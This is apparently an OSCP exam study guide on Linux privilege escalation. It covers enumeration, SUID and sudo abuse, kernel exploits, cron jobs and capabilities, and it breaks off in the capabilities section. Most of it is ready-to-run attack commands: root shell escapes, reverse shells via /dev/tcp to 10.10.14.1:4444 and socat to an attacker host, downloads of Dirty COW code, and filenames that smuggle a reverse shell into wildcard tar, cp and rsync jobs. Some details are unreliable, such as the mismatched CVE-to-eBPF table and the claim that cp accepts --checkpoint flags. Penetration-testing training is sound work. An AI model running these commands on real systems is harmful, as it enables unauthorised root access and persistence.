Linux Privilege Escalation — OSCP Study Guide
Author: OSCP Research Guide | Date: 2026-08-31
Target Audience: OSCP candidates preparing for the exam
Prerequisites: Basic Linux knowledge, networking fundamentals
Table of Contents
- Linux User and Group Enumeration
- Linux Privilege Levels
- System Information Gathering
- SUID/SGID Binary Exploitation
- Sudo Misconfigurations
- Kernel Exploits
- Cron Job Exploitation
- Capability-Based Escalation
- NFS Root Squashing
- Docker Container Escape
- Environment Variable Manipulation
- LD_PRELOAD Hijacking
- Weak File Permissions
- Symbolic Link Attacks
- Bash Shell Escape Techniques
- TMUX/Screen Escape
- MySQL UDF Plugin Exploitation
- Wildcard Injection in Scripts
- Linux Enumeration Scripts
- CTF-Style Privesc Challenges
- Quick-Reference Cheat Sheet
1. Linux User and Group Enumeration
1.1 Core Concepts
Linux uses a User ID (UID) and Group ID (GID) system to manage access control.
- UID 0 = root (superuser with full system access)
- UID 1-999 = system accounts (reserved for services)
- UID 1000+ = regular user accounts
- GID works the same way for group-based permissions
1.2 Key Files
| File |
Purpose |
Sensitive Data |
/etc/passwd |
User account info |
Usernames, UIDs, home dirs, shells |
/etc/shadow |
Password hashes |
Hashed passwords (root-only readable) |
/etc/group |
Group definitions |
Group names, GIDs, members |
/etc/gshadow |
Group password hashes |
Group password hashes |
/etc/sudoers |
Sudo permissions |
Who can run what as whom |
/etc/master.passwd |
BSD systems |
Combined passwd + shadow |
1.3 Enumeration Commands
# Current user context
whoami
id
groups
# Read user database
cat /etc/passwd
cat /etc/shadow # Usually requires root
cat /etc/group
# Find users with login shells
grep -vE '/nologin|/false' /etc/passwd
# Find UID 0 accounts (root equivalents)
awk -F: '$3 == 0 {print $1}' /etc/passwd
# Find users who can sudo
grep -vE '^#|^$' /etc/sudoers 2>/dev/null
cat /etc/sudoers.d/* 2>/dev/null
# Check last logged-in users
last
lastlog
lastb # Failed login attempts
# Check currently logged-in users
w
who
users
# Check sudo permissions for current user
sudo -l
1.4 What to Look For
| Finding |
Why It Matters |
| User with UID 0 (not root) |
Already root-equivalent |
Writable /etc/passwd |
Can add new root user |
Readable /etc/shadow |
Can crack password hashes |
User in sudo or wheel group |
May have sudo access |
Empty password in /etc/shadow |
Can login without password |
| User shares GID with another user |
Group-based file access |
2. Linux Privilege Levels
2.1 Privilege Hierarchy
graph TD
A[UID 0 - Root] -->|Full Access| B[Kernel Space]
A -->|No Restrictions| C[All Files]
A -->|Any Command| D[All Commands]
E[UID 1-999 - System] -->|Service Accounts| F[Limited Access]
G[UID 1000+ - User] -->|Regular Users| H[Home Dir + Shared]
I[SUID Binary] -->|Temporary Root| A
J[Sudo Config] -->|Delegated Root| A
K[Capabilities] -->|Partial Privs| L[Specific Powers]
2.2 Privilege Levels Explained
| Level |
UID Range |
Description |
Examples |
| Root |
0 |
Full system control |
root |
| System |
1-999 |
Service accounts |
daemon, www-data, mysql |
| Regular |
1000+ |
Human users |
john, admin |
| NFS Nobody |
65534 |
Anonymous NFS |
nobody |
2.3 Privilege Escalation Goal
The goal is to move from a lower privilege level to a higher one.
- Horizontal escalation: Same UID, different user (lateral movement)
- Vertical escalation: Lower UID to UID 0 (true privesc)
2.4 Checking Your Current Privileges
# Full identity check
id
# Output: uid=1001(john) gid=1001(john) groups=1001(john),27(sudo)
# Check effective vs real UID
python3 -c 'import os; print(os.getuid(), os.geteuid())'
# Check if you can sudo
sudo -l 2>/dev/null
# Check capabilities
getpcaps $$
3.1 Why System Info Matters
System information reveals:
- Kernel version → potential kernel exploits
- Installed packages → vulnerable software
- Running services → attack surface
- Mounted filesystems → escape vectors
- Environment variables → credential leaks
3.2 Essential Commands
# Kernel and OS info
uname -a
uname -r
cat /etc/os-release
cat /etc/issue
# Architecture
arch
dpkg --print-architecture 2>/dev/null
rpm -q --queryformat '%{ARCH}\n' 2>/dev/null
# CPU info
lscpu
cat /proc/cpuinfo | head -20
# Memory
free -h
cat /proc/meminfo | head -10
# Disk and mounts
df -h
mount
cat /etc/fstab
# Network
ip addr
ip route
ss -tulpn
netstat -tulpn 2>/dev/null
# Running processes
ps aux
ps -ef
# Installed packages
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
snap list 2>/dev/null
flatpak list 2>/dev/null
# Shell info
echo $SHELL
cat /etc/shells
| Category |
Commands |
What to Look For |
| Kernel |
uname -a |
Old kernel → exploit available? |
| OS |
cat /etc/os-release |
Distro-specific vulns |
| Arch |
uname -m |
x86_64 vs arm → exploit compat |
| Users |
cat /etc/passwd |
Weak accounts, extra users |
| Groups |
cat /etc/group |
Privileged group membership |
| Sudo |
sudo -l |
Misconfigured sudo rules |
| SUID |
find / -perm -4000 |
Abusable SUID binaries |
| Cron |
crontab -l, /etc/cron* |
Writable cron jobs |
| Services |
systemctl list-units |
Vulnerable services |
| Network |
ss -tulpn |
Internal services to pivot |
| Mounts |
mount, df -h |
NFS, Docker, writable mounts |
| Env Vars |
env, set |
Leaked credentials |
| History |
~/.bash_history |
Passwords in history |
| Aliases |
alias |
Hidden commands |
3.4 Deep Dive Enumeration
# Find all SUID/SGID files
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# Find world-writable files
find / -writable -type f 2>/dev/null | grep -v '/proc\|/sys\|/dev'
# Find world-writable directories
find / -writable -type d 2>/dev/null | grep -v '/proc\|/sys\|/dev'
# Find SUID files not in default list
find / -perm -4000 -type f 2>/dev/null | grep -v '/usr/bin\|/bin'
# Find files owned by current user
find / -user $(whoami) -type f 2>/dev/null | grep -v '/proc\|/sys'
# Find sudoers files
find / -name "sudoers" -o -name "*.sudoers" 2>/dev/null
find /etc/sudoers.d/ -type f 2>/dev/null
# Check for readable shadow
ls -la /etc/shadow
# Check for Docker socket
ls -la /var/run/docker.sock
# Check for SSH keys
find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" 2>/dev/null
cat ~/.ssh/authorized_keys 2>/dev/null
# Check environment for secrets
env | grep -iE 'pass|key|secret|token|api'
set | grep -iE 'pass|key|secret|token|api'
# Check bash history files
cat ~/.bash_history 2>/dev/null
cat ~/.zsh_history 2>/dev/null
cat /root/.bash_history 2>/dev/null
# Check for interesting config files
cat /etc/hosts
cat /etc/crontab
ls -la /etc/cron.*
4. SUID/SGID Binary Exploitation
4.1 What Are SUID/SGID?
| Attribute |
Bit |
Behavior |
| SUID |
4000 |
Binary runs with owner’s privileges |
| SGID |
2000 |
Binary runs with group’s privileges |
| Sticky |
1000 |
Only owner can delete files (e.g., /tmp) |
When a SUID root binary executes, the effective UID becomes 0 (root).
graph LR
A[User runs SUID binary] --> B[Kernel checks SUID bit]
B --> C{SUID set?}
C -->|Yes| D[Set EUID = file owner UID]
C -->|No| E[Run with user's UID]
D --> F[Binary executes as root]
F --> G[If exploitable → root shell]
4.2 Finding SUID/SGID Binaries
# All SUID files
find / -perm -4000 -type f 2>/dev/null
# All SGID files
find / -perm -2000 -type f 2>/dev/null
# SUID files owned by root
find / -perm -4000 -user root -type f 2>/dev/null
# SUID files modified recently
find / -perm -4000 -type f -mtime -30 2>/dev/null
# With permissions shown
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
4.3 Default SUID Binaries (Usually Safe)
These are expected on a Linux system. They are hard to exploit but worth checking:
| Binary |
Purpose |
Exploitable? |
/usr/bin/passwd |
Change password |
No (by design) |
/usr/bin/sudo |
Run as sudo |
Only if misconfigured |
/usr/bin/su |
Switch user |
Needs target password |
/usr/bin/newgrp |
Change group |
Needs group password |
/usr/bin/chsh |
Change shell |
Needs user auth |
/usr/bin/chfn |
Change finger info |
Low value |
/usr/bin/gpasswd |
Group password mgmt |
Needs group password |
/bin/mount |
Mount filesystem |
Needs root |
/bin/umount |
Unmount filesystem |
Needs root |
/bin/ping |
ICMP ping |
No (by design) |
/usr/bin/traceroute |
Trace route |
No (by design) |
/usr/lib/openssh/ssh-keysign |
SSH host auth |
No |
/usr/lib/dbus-1.0/dbus-daemon-launch-helper |
D-Bus |
No |
/usr/lib/snapd/snap-confine |
Snap confinement |
Rarely |
4.4 GTFOBins — The SUID Exploitation Bible
GTFOBins (https://gtfobins.github.io) is the definitive resource for abusable binaries.
How to Use GTFOBins
- Visit https://gtfobins.github.io
- Search for the binary name
- Click “SUID” tab
- Follow the exploitation steps
Common GTFOBins SUID Escalations
| Binary |
Technique |
Command |
find |
Execute command |
find . -exec /bin/sh -p \; -quit |
vim |
Shell escape |
vim.tiny /etc/passwd → :!/bin/sh |
nmap |
Interactive mode |
nmap --interactive → !sh |
python3 |
OS module |
python3 -c 'import os; os.execl("/bin/sh","sh","-p")' |
bash |
Preserve privileges |
bash -p |
less |
Shell escape |
less /etc/passwd → !/bin/sh |
more |
Shell escape |
more /etc/passwd → !/bin/sh |
man |
Shell escape |
man man → !sh |
awk |
System call |
awk 'BEGIN {system("/bin/sh")}' |
perl |
Exec |
perl -e 'exec "/bin/sh";' |
ruby |
Exec |
ruby -e 'exec "/bin/sh"' |
git |
Shell escape |
git -p help → !/bin/sh |
tar |
Execute |
tar cf /dev/null /etc/passwd --checkpoint=1 --checkpoint-action=exec=/bin/sh |
zip |
Shell escape |
zip /tmp/z.zip /etc/hosts -T -TT psh# |
nano |
Shell escape |
nano → Ctrl+R → Ctrl+6 → "/bin/sh" → Enter |
strace |
Trace shell |
strace /bin/sh -p |
env |
Execute |
env /bin/sh -p |
dash |
Preserve privs |
dash -p |
zsh |
Preserve privs |
zsh -p |
ftp |
Shell escape |
ftp → !/bin/sh |
nc |
Shell escape |
nc -e /bin/sh 127.0.0.1 4444 |
socat |
Exec |
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attacker>:4444 |
docker |
Mount root |
docker run -v /:/host alpine chroot /host sh |
journalctl |
Shell escape |
journalctl → !/bin/sh |
vi |
Shell escape |
vi → :!/bin/sh |
nohup |
Execute |
nohup /bin/sh -p -c 'cp /bin/sh /tmp/s; chmod +s /tmp/s' |
cp |
Copy shell |
cp /bin/sh /tmp/sh; chmod +s /tmp/sh |
4.5 Detailed Exploitation Walkthroughs
find — SUID Exploitation
# The find binary has SUID bit set
ls -la /usr/bin/find
# -rwsr-xr-x 1 root root ... /usr/bin/find
# Exploit: Execute a shell with preserved privileges
find . -exec /bin/sh -p \; -quit
# Alternative
find / -name "nonexistent" -exec /bin/sh -p \;
# Why -p flag?
# The -p flag tells /bin/sh to preserve the elevated privileges
# Without -p, bash drops SUID privileges for security
vim — SUID Exploitation
# Open vim with SUID
vim.tiny /etc/hosts
# Inside vim, press Esc then type:
:!/bin/sh
# Or use:
:set shell=/bin/sh
:shell
nmap — SUID Exploitation
# Enter interactive mode
nmap --interactive
# At the nmap prompt:
nmap> !sh
# You now have a root shell
python3 — SUID Exploitation
# Method 1: os.execl
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# Method 2: subprocess
python3 -c 'import subprocess; subprocess.call("/bin/sh", shell=True)'
# Method 3: pty
python3 -c 'import pty; pty.spawn("/bin/sh")'
less/more — SUID Exploitation
# Using less
less /etc/passwd
# Press ! then type:
/bin/sh
# Using more
more /etc/passwd
# Press ! then type:
/bin/sh
4.6 Custom SUID Binaries
Custom SUID binaries are binaries not found in GTFOBins.
Analysis Approach
# Step 1: Identify the binary
file /path/to/suid_binary
# Step 2: Check what it does
strings /path/to/suid_binary | grep -iE '/bin/sh|system|exec|popen'
# Step 3: Check for hardcoded paths
strings /path/to/suid_binary | grep -E '/[a-z]+/[a-z]+'
# Step 4: Check for environment variable usage
strings /path/to/suid_binary | grep -iE 'getenv|LD_|PATH'
# Step 5: Check if it calls other binaries
ltrace /path/to/suid_binary 2>/dev/null
# Step 6: Disassemble (if needed)
objdump -d /path/to/suid_binary | head -100
Common Custom SUID Patterns
| Pattern |
Exploitation |
Calls system() with user input |
Command injection |
Calls popen() with user input |
Command injection |
Uses execve() with fixed path |
PATH hijacking |
| Reads from writable config |
Config manipulation |
Uses getenv() |
Environment variable injection |
| Writes to temp files |
Symlink attack |
| Calls shell script |
Script manipulation |
4.7 SUID Exploitation Decision Tree
graph TD
A[Found SUID Binary] --> B{Is it in GTFOBins?}
B -->|Yes| C[Follow GTFOBins recipe]
B -->|No| D{Is it a known binary?}
D -->|Yes| E[Check for version-specific vulns]
D -->|No| F{Custom binary?}
F -->|Yes| G[Analyze with strings/ltrace]
G --> H{Calls system/exec?}
H -->|Yes| I[Command injection possible]
H -->|No| J{Uses getenv?}
J -->|Yes| K[LD_PRELOAD / env injection]
J -->|No| L{Calls external binary?}
L -->|Yes| M[PATH hijacking]
L -->|No| N[Harder - reverse engineer]
F -->|No| O[Check for writable SUID binary]
O --> P[Replace with /bin/sh copy]
4.8 Mitigation
| Mitigation |
Description |
| Remove SUID bit |
chmod u-s /path/to/binary |
| Noexec mount |
Mount filesystems with noexec |
| Restrict SUID |
Only set SUID when absolutely necessary |
| Audit regularly |
find / -perm -4000 -type f |
| Use capabilities |
Replace SUID with minimal Linux capabilities |
| AppArmor/SELinux |
Restrict what SUID binaries can do |
5. Sudo Misconfigurations
5.1 How Sudo Works
graph TD
A[User runs: sudo command] --> B[Check /etc/sudoers]
B --> C{User allowed?}
C -->|No| D[Permission denied]
C -->|Yes| E{Password required?}
E -->|Yes| F[Prompt for password]
F --> G{Password correct?}
G -->|No| D
G -->|Yes| H[Execute as target user]
E -->|No NOPASSWD| H
# /etc/sudoers format:
# user HOST=(RUNAS) [TAGS] COMMANDS
# Examples:
john ALL=(ALL:ALL) ALL # Full sudo access
john ALL=(ALL) NOPASSWD: ALL # Full sudo, no password
john ALL=(root) /usr/bin/vim # Can run vim as root
john ALL=(root) NOPASSWD: /usr/bin/find # Can run find as root, no password
john ALL=(root) /usr/bin/python3 * # Can run python3 with ANY args
%admin ALL=(ALL) ALL # All members of 'admin' group
5.3 Checking Sudo Permissions
# Primary command
sudo -l
# Example output:
# Matching Defaults entries for john on target:
# env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
#
# User john may run the following commands on target:
# (root) NOPASSWD: /usr/bin/vim
# (root) /usr/bin/find
# (root, !root) ALL
# (ALL) NOPASSWD: /usr/bin/python3 *
5.4 NOPASSWD Abuse
When a command has NOPASSWD, you can run it without authentication.
Exploitable NOPASSWD Commands
| Command |
Exploitation |
vim |
sudo vim → :!/bin/sh |
find |
sudo find . -exec /bin/sh \; -quit |
python3 |
sudo python3 -c 'import os; os.system("/bin/sh")' |
bash |
sudo bash → direct root shell |
less |
sudo less /etc/shadow → !/bin/sh |
man |
sudo man man → !sh |
nmap |
sudo nmap --interactive → !sh |
tar |
sudo tar cf /dev/null /etc/passwd --checkpoint=1 --checkpoint-action=exec=/bin/sh |
awk |
sudo awk 'BEGIN {system("/bin/sh")}' |
perl |
sudo perl -e 'exec "/bin/sh"' |
ruby |
sudo ruby -e 'exec "/bin/sh"' |
git |
sudo git help config → !sh |
env |
sudo env /bin/sh |
docker |
sudo docker run -v /:/host alpine chroot /host sh |
zip |
sudo zip /tmp/z.zip /etc/hosts -T -TT /bin/sh# |
nano |
sudo nano → Ctrl+R → Ctrl+6 → /bin/sh |
cp |
sudo cp /bin/sh /tmp/sh; chmod +s /tmp/sh |
mv |
sudo mv /bin/sh /tmp/sh |
node |
sudo node -e 'require("child_process").exec("/bin/sh")' |
lua |
sudo lua -e 'os.execute("/bin/sh")' |
php |
sudo php -r 'pcntl_exec("/bin/sh",["/bin/sh"]);' |
strace |
sudo strace /bin/sh |
journalctl |
sudo journalctl → !/bin/sh |
apt |
sudo apt install evil-package (pre-inst package with root shell) |
dpkg |
sudo dpkg -i evil.deb |
vim.tiny |
sudo vim.tiny → :!/bin/sh |
5.5 Wildcard in Sudo Commands
If sudo allows a command with wildcard arguments:
# sudo -l shows:
# (root) NOPASSWD: /usr/bin/python3 *
# Exploit:
sudo python3 -c 'import os; os.system("/bin/sh")'
# Or:
sudo python3 /dev/stdin
# Then type Python code interactively
5.6 Sudo Chain Exploitation
Sometimes you need to chain multiple sudo commands:
# Step 1: Use sudo to read a file you need
sudo cat /etc/shadow
# Step 2: Use sudo to write to a config file
sudo tee /etc/cron.d/backdoor <<< '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"'
# Step 3: Use sudo to modify a script, then trigger it
sudo vim /opt/backup.sh
# Add: /bin/bash -c 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash'
# Then wait for cron to execute it
5.7 Sudoers File Parsing Tricks
# Check all sudoers-related files
cat /etc/sudoers 2>/dev/null
ls -la /etc/sudoers.d/ 2>/dev/null
cat /etc/sudoers.d/* 2>/dev/null
# Check for visudo files
find / -name "*.sudoers" 2>/dev/null
# Check sudo timestamp cache
sudo -nv 2>/dev/null # Returns 0 if cached, 1 if not
5.8 Sudo Version Exploits
Check the sudo version for known exploits:
sudo -V | head -1
# Sudo version 1.9.5p2
# Searchsploit for sudo version
searchsploit sudo 1.9.5
| CVE |
Version |
Description |
| CVE-2021-3156 (Baron Samedit) |
< 1.9.5p1 |
Heap buffer overflow in sudoers parsing |
| CVE-2019-14287 |
< 1.8.31 |
Wildcard injection in sudo |
| CVE-2018-1000208 |
< 1.8.27 |
Heap overflow in parse_line |
5.9 Mitigation
| Mitigation |
Description |
| Principle of least privilege |
Grant minimum necessary permissions |
| Avoid NOPASSWD |
Require password authentication |
| Specific commands |
Don’t allow ALL commands |
| No wildcards |
Don’t use * in command paths |
| Regular audit |
sudo -l and review sudoers |
| Use sudoers.d |
Separate files for easier management |
| Log sudo usage |
Enable sudo logging |
6. Kernel Exploits
6.1 When to Use Kernel Exploits
Kernel exploits are a last resort in OSCP.
| Condition |
Action |
| Kernel < 4.x |
High chance of exploit |
| Kernel 4.x-5.x |
Check exploit database |
| Kernel 5.x+ |
Lower chance, but still possible |
| No other vectors found |
Worth trying |
| Time remaining in exam |
Risk/reward decision |
6.2 Kernel Exploitation Workflow
graph TD
A[Get kernel version] --> B[uname -r]
B --> C[Get architecture]
C --> D[uname -m]
D --> E[Search exploit DB]
E --> F{Exploit found?}
F -->|Yes| G[Check compatibility]
G --> H{Matches arch + kernel?}
H -->|Yes| I[Transfer exploit]
I --> J[Compile exploit]
J --> K[Run exploit]
K --> L{Success?}
L -->|Yes| M[Root shell!]
L -->|No| N[Try another exploit]
H -->|No| N
F -->|No| O[No kernel exploit available]
6.3 Finding Kernel Exploits
# Step 1: Get kernel info
uname -a
# Linux target 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64
# Step 2: Search on attacking machine
searchsploit Linux 5.4.0
searchsploit Linux Kernel 5.4
# Step 3: Check exploit compatibility
# - Architecture must match (x86_64, i386, arm, etc.)
# - Kernel version must be in range
# - Check if KASLR/SMAP/KAISER are enabled
# Step 4: Check kernel hardening
cat /proc/sys/kernel/kptr_restrict
cat /proc/sys/kernel/randomize_va_space
dmesg | grep -iE 'kpti|kaslr|smap|kaiser'
6.4 Dirty Cow (CVE-2016-5195)
Overview
- Affects: Linux Kernel 2.6.22 – 3.9 (2007-2016)
- Type: Race condition in copy-on-write mechanism
- Impact: Local privilege escalation to root
- Reliability: Moderate (may need multiple attempts)
Exploitation
# On attacking machine:
searchsploit Dirty Cow
# Multiple results available
# Copy exploit to attacking machine
searchsploit -m 40839
# Transfer to target
python3 -m http.server 80
# On target:
wget http://10.10.14.1/40839.c
# Compile and run
gcc 40839.c -o dirty -pthread
./dirty
# Alternative: Use the one-liner
curl -s https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirty.c -o dirty.c
gcc dirty.c -o dirty -pthread
./dirty
How It Works
- Creates a process that continuously writes to a file via
/proc/self/mem
- Simultaneously truncates the same file via
madvise(MADV_DONTNEED)
- The race condition allows overwriting the file content
- Overwrites
/etc/passwd with a new root user
6.5 OverlayFS Exploit (CVE-2021-3493)
Overview
- Affects: Linux Kernel 4.15 – 5.10 (2018-2021)
- Type: Privilege escalation via OverlayFS
- Impact: Local privilege escalation to root
- Reliability: High
Exploitation
# Search for the exploit
searchsploit CVE-2021-3493
# Copy and transfer
searchsploit -m 50918
# Transfer to target
# Compile
gcc -o overlayfs 50918.c
./overlayfs
6.6 CAP_SYS_ADMIN Abuse
Overview
CAP_SYS_ADMIN is a powerful Linux capability. It can be abused for privesc.
Exploitation via OverlayFS Mount
# If you have CAP_SYS_ADMIN:
# Step 1: Create directory structure
mkdir -p /tmp/overlay/{upper,work,lower,merged}
echo '/bin/bash -p' > /tmp/overlay/lower/sh
# Step 2: Mount overlay filesystem
mount -t overlay overlay \
-o lowerdir=/tmp/overlay/lower,upperdir=/tmp/overlay/upper,workdir=/tmp/overlay/work \
/tmp/overlay/merged
# Step 3: The merged view may allow privilege escalation
# This depends on specific configuration
Other CAP_SYS_ADMIN Abuses
| Technique |
Description |
| Namespace escape |
Use unshare to create new namespaces |
| Mount manipulation |
Mount sensitive filesystems |
| cgroup escape |
Escape container via cgroups |
| ptrace abuse |
Trace and modify privileged processes |
6.7 Common Kernel Exploits by Version
| Kernel Range |
Exploit |
CVE |
| 2.6.18-2.6.32 |
Dirty COW |
CVE-2016-5195 |
| 3.0-3.19 |
perf_swevent |
CVE-2016-0728 |
| 3.13-4.8 |
overlayfs |
CVE-2015-1328 |
| 4.4-4.15 |
af_packet |
CVE-2017-7308 |
| 4.10-5.2 |
eBPF |
CVE-2019-11135, CVE-2019-11477 |
| 4.15-5.10 |
overlayfs |
CVE-2021-3493 |
| 5.10+ |
Various |
Check exploit-db |
6.8 Kernel Exploit Compilation
# Common compilation commands
gcc exploit.c -o exploit
gcc exploit.c -o exploit -pthread
gcc exploit.c -o exploit -lutil
gcc exploit.c -o exploit -static
# If cross-compilation needed
x86_64-linux-gnu-gcc exploit.c -o exploit -static
# Check for missing headers
apt install build-essential linux-headers-$(uname -r)
6.9 Mitigation
| Mitigation |
Description |
| Kernel updates |
Keep kernel patched |
| KASLR |
Kernel Address Space Layout Randomization |
| SMAP/SMEP |
Supervisor Mode Access/Execution Prevention |
| KPTI |
Kernel Page Table Isolation |
| Hardened kernels |
Use security-hardened kernel configs |
| SELinux/AppArmor |
Mandatory access control |
| Kernel modules |
Disable unnecessary modules |
7. Cron Job Exploitation
7.1 What Are Cron Jobs?
Cron is a time-based job scheduler in Linux.
| File/Location |
Scope |
crontab -e |
Per-user cron jobs |
/etc/crontab |
System-wide cron |
/etc/cron.d/ |
System-wide cron (drop-in files) |
/etc/cron.hourly/ |
Runs hourly |
/etc/cron.daily/ |
Runs daily |
/etc/cron.weekly/ |
Runs weekly |
/etc/cron.monthly/ |
Runs monthly |
/var/spool/cron/crontabs/ |
User crontab storage |
# Minute Hour Day Month DayOfWeek Command
# * * * * * *
# 0-59 0-23 1-31 1-12 0-6 /path/to/command
# Examples:
* * * * * /usr/local/bin/backup.sh # Every minute
0 * * * * /usr/local/bin/hourly.sh # Every hour at :00
30 2 * * * /usr/local/bin/nightly.sh # Daily at 2:30 AM
0 0 * * 0 /usr/local/bin/weekly.sh # Every Sunday at midnight
*/5 * * * * /usr/local/bin/check.sh # Every 5 minutes
7.3 Enumerating Cron Jobs
# Current user's cron jobs
crontab -l
# System crontab
cat /etc/crontab
# Cron directories
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
# All cron-related files
find / -name "*.cron" -o -name "crontab" 2>/dev/null
# Check permissions on cron files
ls -la /var/spool/cron/crontabs/ 2>/dev/null
# Find world-writable cron files
find /etc/cron* -writable 2>/dev/null
find /var/spool/cron -writable 2>/dev/null
7.4 World-Writable Cron Jobs
If a cron job file is world-writable, you can modify it.
# Check if you can write to a cron job
ls -la /etc/cron.d/backup
# -rw-rw-rw- 1 root root ... /etc/cron.d/backup
# Modify the cron job to add a reverse shell
echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"' >> /etc/cron.d/backup
# Or modify the script the cron job calls
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"' >> /usr/local/bin/backup.sh
# Wait for the cron job to execute (max 1 minute for * * * * *)
7.5 Wildcard Injection in Cron
Wildcard injection occurs when a cron job uses * in commands like cp, tar, rsync.
# Vulnerable cron job:
# * * * * * root cp /home/user/* /backup/
# Exploit: Create files with malicious names
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"'
# When cp runs with *, it expands to include these files
# cp interprets --checkpoint as an option
# For tar:
# * * * * * root tar cf /backup/archive.tar /home/user/*
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=/bin/sh'
# For rsync:
# * * * * * root rsync -a /home/user/* /backup/
touch '/home/user/-e'
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"' > /home/user/-e
chmod +x /home/user/-e
Wildcard Injection by Command
| Command |
Injection Flag |
Payload |
cp |
--checkpoint=1 + --checkpoint-action=exec=CMD |
Reverse shell |
tar |
--checkpoint=1 + --checkpoint-action=exec=CMD |
Reverse shell |
rsync |
-e flag |
Command execution |
find |
-exec option |
Command execution |
grep |
--color=auto + --label=CMD |
Limited |
7.6 PATH Manipulation in Cron
Cron jobs often use relative paths. You can hijack the PATH.
# Vulnerable cron job:
# * * * * * root backup.sh
# Inside backup.sh:
# tar czf /backup/backup.tar.gz /home/user/
# Check the PATH used by cron
echo $PATH
# Create a malicious binary with the same name
echo '#!/bin/bash' > /tmp/tar
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"' >> /tmp/tar
chmod +x /tmp/tar
# Prepend /tmp to PATH
export PATH=/tmp:$PATH
# If the cron job inherits your environment, it will use your /tmp/tar
# Or place it in a directory already in cron's PATH
7.7 Cron Exploitation Decision Tree
graph TD
A[Found Cron Job] --> B{Is the cron file writable?}
B -->|Yes| C[Modify cron to add reverse shell]
B -->|No| D{Is the script writable?}
D -->|Yes| E[Modify script to add reverse shell]
D -->|No| F{Does it use wildcards?}
F -->|Yes| G[Wildcard injection attack]
F -->|No| H{Does it use relative paths?}
H -->|Yes| I[PATH hijacking]
H -->|No| J{Can you control input?}
J -->|Yes| K[Command injection]
J -->|No| L[Harder - analyze script logic]
7.8 Mitigation
| Mitigation |
Description |
| Restrict cron file permissions |
chmod 600 /etc/cron.d/* |
| Use absolute paths |
Always use full paths in cron scripts |
| Restrict script permissions |
chmod 700 /path/to/script |
| Avoid wildcards |
Use explicit file lists |
| Set explicit PATH |
Define PATH at the top of cron scripts |
| Use cron groups |
Restrict who can create cron jobs |
8. Capability-Based Escalation
8.1 What Are Linux Capabilities?
Linux capabilities break down root privileges into distinct units.
| Capability |
Power |
Privesc Potential |
CAP_SYS_ADMIN |
Most powerful cap |
Very High |
CAP_DAC_OVERRIDE |
Bypass file permissions |
High |
CAP_SETUID |
Change UID |
High |
CAP_SETGID |
Change GID |
High |
CAP_NET_RAW |
Raw sockets |
Medium |
CAP_NET_BIND_SERVICE |
Bind to ports < 1024 |
Low |
CAP_SYS_PTRACE |
Trace processes |
High |
CAP_DAC_READ_SEARCH |
Read any file |
Medium |
CAP_FOWNER |
Bypass file ownership checks |
High |
CAP_SYS_MODULE |
Load kernel modules |
Very High |
CAP_SYS_RAWIO |
Raw I/O access |
High |
CAP_NET_ADMIN |
Network configuration |
Medium |
CAP_CHOWN |
Change file ownership |
Medium |
CAP_KILL |
Send signals to any process |
Medium |
8.2 Enumerating Capabilities
# Check capabilities of current process
getpcaps $$
# Check capabilities of all processes
getpcaps -a
# Check capabilities of a specific binary
getcap /path/to/binary
# Find all files with capabilities set
find / -perm -4000 -o -perm -2000 2>/dev/null
find / -exec getcap {} \; 2>/dev/null
# Check /proc for process capabilities
cat /proc/<PID>/status | grep Cap
# Decode capability bitmask
python3 -c '
import subprocess
cap_int = int(open("/proc/<PID>/status").read().split("CapEff:")[1].split()[0], 16)
caps = {i: name for name, i in __import__("capsh").__dict__.items() if isinstance(i, int)}
'
8.3 Exploiting CAP_SETUID
# Find binary with CAP_SETUID
getcap -r / 2>/dev/null
# /usr/bin/python3 cap_setuid,cap_setgid+ep
# Exploit:
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
8.4 Exploiting CAP_DAC_OVERRIDE
# Find binary with CAP_DAC_OVERRIDE
getcap -r / 2>/dev/null
# /usr/bin/python3 cap_dac_override+ep
# Exploit: Read any file
python3 -c 'print(open("/etc/shadow").read())'
8.5 Exploiting CAP_SYS_PTRACE
# Find binary with CAP_SYS_PTRACE
getcap -r / 2>/dev/null
# /usr/bin/gdb cap_sys_ptrace+ep
# Exploit: Trace a root process and execute code
gdb -p <root_pid>
# In gdb:
call system("/bin/sh")
8.6 Exploiting CAP_SYS_MODULE
# Find binary with CAP_SYS_MODULE
getcap -r / 2>/dev/null
# /usr/bin/insmod cap_sys_module+ep
# Exploit: Load a malicious kernel module
# Create a rootkit module that gives you a root shell
8.7 Capabilities Decision Tree
graph TD
A[Found Binary with Capabilities] --> B{Which capability?}
B -->|CAP_SETUID| C[Set UID to 0, spawn shell]
B -->|CAP_DAC_OVERRIDE| D[Read /etc/shadow, crack hashes]
B -->|CAP_SYS_PTRACE| E[Trace root process, inject code]
B -->|CAP_SYS_MODULE| F[Load malicious kernel module]
B -->|CAP_SYS_ADMIN| G[Mount overlay, namespace escape]
B -->|CAP_DAC_READ_SEARCH| H[Read sensitive files]
B -->|CAP_FOWNER| I[Bypass ownership checks]
B -->|Other| J[Check GTFOBins for cap exploits]
8.8 Mitigation
| Mitigation |
Description |
| Remove unnecessary capabilities |
setcap -r /path/to/binary |
| Principle of least privilege |
